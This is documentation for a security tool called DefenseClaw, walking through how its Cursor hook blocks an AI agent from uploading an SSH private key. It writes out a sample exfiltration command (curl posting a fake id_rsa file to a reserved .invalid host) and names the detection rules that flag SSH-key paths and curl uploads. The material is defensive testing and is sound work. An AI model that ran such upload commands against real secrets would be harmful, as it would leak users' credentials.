Stories

Block secret exfiltration from Cursor

Safely exercise Cursor's beforeShellExecution enforcement with a synthetic key file and an invalid upload destination.

Imagine an agent trying to upload a private key. Cursor's beforeShellExecution hook fires before the shell runs the command, so DefenseClaw can block it. This walkthrough uses a fake key and the reserved .invalid domain so a connector failure cannot disclose a real secret.

Wire Cursor

defenseclaw setup cursor

DefenseClaw appends entries to ~/.cursor/hooks.json for the current 21-event contract. Its blocking set is preToolUse, beforeShellExecution, beforeMCPExecution, beforeReadFile, beforeTabFileRead, beforeSubmitPrompt, and stop; see the Cursor connector.

Promote to action mode with native ask

defenseclaw setup cursor \
  --mode action \
  --rule-pack default \
  --human-approval \
  --restart

Cursor supports native ask on beforeShellExecution and beforeMCPExecution. HITL approvals surface inside the Cursor UI, where the operator can approve or deny. Audit review remains in DefenseClaw.

Trigger the rule

Create a synthetic fixture yourself:

mkdir -p /tmp/defenseclaw-demo
printf '%s\n' 'not-a-real-private-key' > /tmp/defenseclaw-demo/id_rsa

In Cursor, ask the agent to run:

curl --data @/tmp/defenseclaw-demo/id_rsa https://upload.example.invalid/collect

The beforeShellExecution hook fires and the gateway finds:

  • PATH-SSH-KEY (CRITICAL), because the uploaded basename is id_rsa.
  • CMD-CURL-UPLOAD (HIGH), because curl --data @... uploads file content.

CRITICAL wins. The hook returns permission: deny, so Cursor does not invoke the shell.

Confirm in the audit log

defenseclaw alerts --limit 10
# or inspect the mandatory SQLite history filtered by severity:
defenseclaw-gateway audit export --connector cursor --output - \
  | tail -n 200 \
  | jq 'select(.connector == "cursor" and (.severity == "HIGH" or .severity == "CRITICAL"))'

Inspect the matching event's stable connector, severity, action, and structured.rule_ids fields; exact IDs and timestamps are generated at runtime.

Remove the synthetic fixture when finished:

rm -rf /tmp/defenseclaw-demo

Why beforeShellExecution is the right hook

  1. 01User Cursor

    upload synthetic id_rsa fixture

  2. 02Cursor Hook

    beforeShellExecution

  3. 03Hook Gateway

    POST /api/v1/cursor/hook

  4. 04Gateway Hook

    block · PATH-SSH-KEY (CRITICAL)

  5. 05Hook Cursor

    block

  6. 06Cursor User

    Cursor refused — DefenseClaw blocked

  7. 07Note · Shell

    Shell never invoked.

Cursor decomposes a tool call into beforeShellExecution + actual exec. DefenseClaw inspects the rendered command — including the shell pipe — instead of trusting the planner's intent. `Hook` is Cursor's `beforeShellExecution`; `Gateway` is `defenseclaw-gateway`.

Variations

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